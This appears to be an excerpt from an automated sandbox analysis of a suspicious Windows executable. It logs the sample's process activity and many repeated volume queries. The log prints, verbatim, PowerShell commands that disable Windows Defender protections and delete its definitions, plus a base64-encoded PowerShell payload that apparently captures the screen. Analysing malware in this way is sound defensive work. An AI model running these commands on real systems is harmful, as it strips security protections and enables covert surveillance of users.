Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab

Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe

Code function: 97_2_00007FF7080DB340 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

97_2_00007FF7080DB340

Source: C:\Users\user\Desktop\X9g8L63QGs.exe

Code function: 4_2_00007FF7C26895E0 cpuid

4_2_00007FF7C26895E0

Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
